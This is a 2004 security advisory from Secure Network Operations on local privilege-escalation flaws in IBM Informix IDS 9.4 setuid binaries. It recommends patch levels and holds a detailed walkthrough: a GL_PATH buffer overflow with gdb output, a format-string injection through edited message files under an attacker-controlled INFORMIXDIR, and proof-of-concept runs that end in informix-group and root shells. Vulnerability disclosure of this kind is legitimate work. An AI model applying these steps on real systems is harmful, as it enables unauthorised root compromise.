SRT2004-01-18-0747 - IBM Informix IDS 9.4 contains multiple vulnerabilities
Secure Network Operations, Inc. http://www.secnetops.com/research
Strategic Reconnaissance Team research[at]secnetops[.]com
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Quick Summary:
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Advisory Number : SRT2004-01-18-0747
Product : IBM Informix IDS
Version : Version : 9.40.xC[12] (tested 9.40.UC1)
Vendor : http://www-3.ibm.com/software/data/informix/
Class : Local
Criticality : High
Operating System(s) : *nix
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Basic Explanation
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High Level Description : IDS 9.4 contains multiple vulnerabilities
What to do : Update to patch level IDS 9.40.UC3, 9.30.UC7
and 7.31.UD7 fix pack releases
Basic Technical Details
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Proof Of Concept Status : SNO has Proof of Concept.
Low Level Description : Informix Dynamic Server 9.4 is a best-of-breed
online transaction processing database for enterprise and workgroup
computing. IDS is built on Dynamic Scalable Architecture that uses
hardware resources more efficiently and minimizes hardware requirements.
During routine product evalutation we noticed several setuid binaries
that contained security issues. Our Informix installation came with the
following setuid and setgid files:
-rwsr-sr-- 1 root informix 10153315 Jul 19 12:30 ./oninit
-rwsr-sr-x 1 root informix 1019813 Jul 19 12:30 ./onmode
-rwsr-sr-x 1 root informix 1066468 Mar 15 11:47 ./onedcu
-rwsr-sr-x 1 root informix 13443 Mar 15 11:46 ./ifmxgcore
-rwsr-sr-x 1 root informix 1615730 Jul 19 12:30 ./ontape
-rwsr-sr-x 1 root informix 1831430 Mar 15 11:51 ./ondblog
-rwsr-sr-x 1 root informix 1897244 Jul 19 12:30 ./onbar_d
-rwsr-sr-x 1 root informix 1909871 Jul 19 12:30 ./onsmsync
-rwsr-sr-x 1 root informix 2143212 Jul 19 12:30 ./onmonitor
-rwsr-sr-x 1 root informix 511534 Mar 15 11:53 ./sgidsh
-rwsr-sr-x 1 root informix 511623 Mar 15 11:53 ./mkdbsdir
-rwsr-sr-x 1 root informix 537232 Jul 19 12:30 ./onshowaudit
-rwsr-sr-x 1 root informix 948490 Jul 19 12:30 ./onaudit
-rwxr-sr-x 1 informix informix 1063801 Mar 15 11:47 ./xtree
-rwxr-sr-x 1 informix informix 1196928 Jul 19 12:29 ./onspaces
-rwxr-sr-x 1 informix informix 1199645 Jul 19 12:29 ./onparams
-rwxr-sr-x 1 informix informix 1314460 Jul 19 12:29 ./onlog
-rwxr-sr-x 1 informix informix 1438131 Jul 19 12:29 ./oncheck
-rwxr-sr-x 1 informix informix 2235020 Jul 19 12:29 ./onpload
-rwxr-sr-x 1 informix informix 3974843 Jul 19 12:29 ./onstat
-rwxr-sr-x 1 informix informix 539519 Mar 15 11:47 ./onedpu
-rwxr-sr-x 1 informix informix 895422 Jul 19 12:29 ./onload
-rwxr-sr-x 1 informix informix 895424 Jul 19 12:29 ./onunload
Most if not all of the binaries share common exploitable conditions.
The first issue we noticed was a simple buffer overflow in the GL_PATH
environment variable.
[informix@vegeta bin]$ export GL_PATH=`perl -e 'print "A" x 998'`
[informix@vegeta bin]$ ./xtree
Segmentation fault
A quick run in gdb shows us the following. Smaller string lengths reveal
that this issue may be complicated because of a few free() calls.
[root@vegeta bin]# export GL_PATH=`perl -e 'print "A" x 3068'`ABCD
(gdb) i r
eax 0x44434241 1145258561
ecx 0x1 1
edx 0x53 83
ebx 0x401f21c0 1075782080
esp 0xbfffcaf0 0xbfffcaf0
ebp 0xbfffd1ac 0xbfffd1ac
esi 0x44434241 1145258561
edi 0xbfffcd4c -1073754804
eip 0x401361db 0x401361db
...
(gdb) bt
#0 0x401751db in strlen () from /lib/libc.so.6
#1 0x40144c7e in vfprintf () from /lib/libc.so.6
#2 0x4015fb2c in vsprintf () from /lib/libc.so.6
#3 0x4014d02d in sprintf () from /lib/libc.so.6
#4 0x080a2138 in gl_path_search1 ()
[informix@vegeta bin]$ for each in `find . -perm -2000 -user informix`
> do
> echo $each
> $each
> done
./onstat
Segmentation fault
./onspaces
Segmentation fault
./onparams
Segmentation fault
./onload
Segmentation fault
./oncheck
Segmentation fault
./onunload
Segmentation fault
[informix@vegeta bin]$ for each in `find . -perm -4000`
> do
> echo $each
> $each
> done
./oninit
Segmentation fault
./onmode
Segmentation fault
./onedcu
Segmentation fault
./onshowaudit
Segmentation fault
./onaudit
Segmentation fault
./onbar_d
Segmentation fault
./ondblog
Segmentation fault
./onsmsync
Segmentation fault
./ontape
Segmentation fault
The next vulnerability we discovered is a bit more complex. When Informix
binaries are run they begin to look for several message files. It looks for
them in relation to the INFORMIXDIR environment variable.
If we set INFORMIXDIR to /tmp we can see it begins searching /tmp for the
necessary files.
[root@vegeta bin]# export INFORMIXDIR=/tmp
[root@vegeta bin]# strace ./onmonitor
execve("./onmonitor", ["./onmonitor"], [/* 34 vars */]) = 0
...
open("/tmp/en_us/0333.lco", O_RDONLY|O_LARGEFILE)
open("/tmp/etc/informix.rc", O_RDONLY|O_LARGEFILE)
open("/tmp/os/en_US.819", O_RDONLY|O_LARGEFILE)
open("/tmp/registry", O_RDONLY)
Depending on the application you are exploiting you will see that
several files are searched for.
Below we use /usr/informix/bin/oncheck as an example. We can see that it
searches for olutil.iem.
[root@vegeta informix]# bin/oncheck -cc aaa
shared memory not initialized for INFORMIXSERVER '<NULL>'
[root@vegeta bin]# strace bin/oncheck -cc aaa
...
strcat("/usr/informix/msg/en_us/0333"..., "olutil.iem")
access("/usr/informix/msg/en_us/0333"..., 4)
lseek64(3, 37251, 0, 0, 0)
read(3, "shared memory no"..., 55)
strcpy(0x081da720, "shared memory no"...)
printf("shared memory not initialized for INFORMIXSERV"...
Since we control the INFORMIXDIR it is fairly trivial for us to inject
format string messages into the printf() statements that are included
in order to throw various error messages.
Since INFORMIXDIR has a lot of critical items in it we must first make a
copy of it. The easiest way of doing this is via multiple symlinks.
[kf@vegeta kf]$ cd /tmp
[kf@vegeta tmp]$ for each in `find /usr/informix/ -type d`; do mkdir -p ./$each
; done
[kf@vegeta tmp]$ for each in `find /usr/informix`; do ln -s $each ./$each; done
Since we need to edit the message file we will need to rm the link and
copy the file into the correct location.
[kf@vegeta tmp]$ rm usr/informix/msg/en_us/0333/olutil.iem
[kf@vegeta tmp]$ cp /usr/informix/msg/en_us/0333/olutil.iem
usr/informix/msg/en_us/0333/
Using the above oncheck example we will need to edit the olutil.iem.
Open up usr/informix/msg/en_us/0333/olutil.iem in vi and search for:
shared memory not initialized for INFORMIXSERVER '<NULL>'
As a test we can change the text to the following:
^@%x.%x. memory not initialized for INFORMIXSERVER '%s'
Running the binary again shows that we have hit paydirt.
[kf@vegeta tmp]$ bin/oncheck -cc aaa
81da718.bfffda08. memory not initialized for INFORMIXSERVER '�jhC�'
Obviously if we change the message to the following it becomes more
interesting:
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
[kf@vegeta tmp]$ bin/oncheck -cc aaa
Segmentation fault
Gdb shows us the obvious...
Program received signal SIGSEGV, Segmentation fault.
0x40144f56 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0 0x40144f56 in vfprintf () from /lib/libc.so.6
#1 0x4014cfb2 in printf () from /lib/libc.so.6
#2 0x0804b946 in main ()
Strace shows us in detail what is going on.
[080b1a11] strcat("/tmp/usr/informix/msg/en_us/0333"..., "olutil.iem")
[080fc03b] access("/tmp/usr/informix/msg/en_us/0333"..., 4)
[080d9613] lseek64(3, 37251, 0, 0, 0) =
37251
[080d95f2] read(3, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"..., 55) = 55
[080b0207] strcpy(0x081da720, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"...) =
0x081da720
[0804b946] printf("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"... <unfinished ...>
[40144f56] --- SIGSEGV (Segmentation fault) ---
[ffffffff] +++ killed by SIGSEGV +++
We currently have two different Proof of Concept exploits for the above
mentioned conditions. One takes gid informix and the other uid root.
The data below shows a test run of each one.
bash$ ./0x82-Local.InformixIDS -t0 -d /tmp/informix/ -g 999
IBM Informix IDS 9.40 format string exploit.
[+] Target Program: /usr/informix/bin/onparams
[+] .dtors address: 0x81206ec
[+] Shellcode address: 0xbfffffb3
[+] flag and pad brute-force mode: (100:0)
...
[*] Found it !!! (102:3)
[*] Waiting shell ...
...
...
81876d8
...
0d for INFORMIXSERVER '(null)'
sh-2.04$ id
uid=500(x82) gid=999(informix) groups=500(x82)
and
bash$ ./0x82-InformixIDS_r00t -d /tmp/informix/
IBM Informix IDS 9.40 format string local root exploit.
[+] Target Program: /usr/informix/bin/ontape
[+] .dtors address: 0x817c8e4
[+] Shellcode address: 0xbfffffb3
[+] flag and pad brute-force mode: (100:0)
.......................................................
[*] Found it !!! (212:0)
[*] Waiting root shell ...
...
...
bfff769c
...
0guration file $INFORMIXDIR/etc/$ONCONFIG.
Program over.
sh-2.04# id
uid=0(root) gid=0(root)
Vendor Status : IBM addressed this issue in a prompt, efficient and
intelligent manner.
Jonathan Leffler really stepped up to the plate so to
speak, and provided
the SRT with more than enough information regarding
this issue as well as
the actions taken to resolve this issue!
Bugtraq URL : To be assigned.
Disclaimer
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of notification to help administrators protect their networks against
the described vulnerability. Release of exploit code is done at our
own discretion.
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